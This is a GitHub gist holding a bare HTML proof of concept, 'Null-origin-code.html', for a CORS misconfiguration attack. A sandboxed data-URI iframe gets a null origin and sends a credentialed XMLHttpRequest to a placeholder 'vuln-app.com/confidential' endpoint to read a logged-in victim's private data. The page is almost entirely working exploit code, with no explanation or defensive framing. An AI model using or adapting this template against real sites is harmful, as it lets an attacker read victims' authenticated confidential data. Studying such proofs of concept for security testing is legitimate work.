Skip to content

Instantly share code, notes, and snippets.

@avicoder

avicoder/Null-origin-code.html

Created April 24, 2018 07:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save avicoder/3461ea78c81e516bd9de87874476742b to your computer and use it in GitHub Desktop.
Save avicoder/3461ea78c81e516bd9de87874476742b to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Null-origin-code.html
<html>
<body>
<iframe src='data:text/html,<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://vuln-app.com/confidential", true);
xhr.withCredentials = true;
xhr.onload = function () {
if (xhr.readyState === xhr.DONE) {
console.log(xhr.response);
}
};
xhr.send(null);
</script>'></iframe>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment